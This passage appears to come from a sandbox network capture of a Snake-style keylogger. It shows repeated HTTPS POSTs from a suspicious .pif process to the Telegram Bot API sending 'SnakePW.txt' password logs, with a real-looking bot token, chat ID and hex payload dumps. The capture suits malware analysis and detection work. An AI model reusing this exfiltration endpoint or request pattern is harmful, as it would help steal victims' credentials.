{"ok":true,"result":{"message_id":388925,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605959,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.7	49898	149.154.167.220	443	7660	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:00 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0f08a8cc2626 Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:00 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 66 30 38 61 38 63 63 32 36 32 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 35 3a 30 34 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0f08a8cc2626Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:25:04Client
2024-11-26 07:26:01 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:01 GMT Content-Type: application/json Content-Length: 523 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:01 UTC	523	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 32 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 36 31 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388929,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605961,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.7	49897	149.154.167.220	443	7924	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:00 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0ef55334ac8a Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:00 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 65 66 35 35 33 33 34 61 63 38 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 34 3a 30 33 3a 31 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0ef55334ac8aContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 04:03:12Client
2024-11-26 07:26:01 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:01 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:01 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 33 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 36 31 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388930,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605961,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.7	49899	149.154.167.220	443	7240	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:00 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0f7f6e69a05f Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:00 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 66 37 66 36 65 36 39 61 30 35 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 34 3a 35 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0f7f6e69a05fContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:24:52Client
2024-11-26 07:26:01 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:01 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:01 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 33 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 36 31 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388932,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605961,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.7	49904	149.154.167.220	443	7660	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:02 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0f1ddc04ff5a Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:02 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 66 31 64 64 63 30 34 66 66 35 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 35 3a 30 34 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0f1ddc04ff5aContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:25:04Client
2024-11-26 07:26:03 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:03 GMT Content-Type: application/json Content-Length: 523 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:03 UTC	523	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 33 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 36 33 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388935,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605963,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.7	49905	149.154.167.220	443	7240	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:02 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0f982ba92d5d Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:02 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 66 39 38 32 62 61 39 32 64 35 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 34 3a 35 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0f982ba92d5dContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:24:52Client
2024-11-26 07:26:03 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:03 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:03 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 33 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 36 33 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388936,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605963,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.7	49906	149.154.167.220	443	7924	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:02 UTC	358	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0f0c03271772 Host: api.telegram.org Content-Length: 537 Connection: Keep-Alive
2024-11-26 07:26:02 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 66 30 63 30 33 32 37 31 37 37 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 34 3a 30 33 3a 31 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0f0c03271772Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 04:03:12Client
2024-11-26 07:26:03 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:03 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:03 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 33 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 36 33 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388938,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605963,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.7	49914	149.154.167.220	443	7924	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:04 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0f1e9f0c802f Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:04 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 66 31 65 39 66 30 63 38 30 32 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 34 3a 30 33 3a 31 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0f1e9f0c802fContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 04:03:12Client
2024-11-26 07:26:05 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:05 GMT Content-Type: application/json Content-Length: 524 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:05 UTC	524	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 34 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 36 35 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388941,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605965,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.7	49913	149.154.167.220	443	7240	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:04 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0fab9e050937 Host: api.telegram.org Content-Length: 537
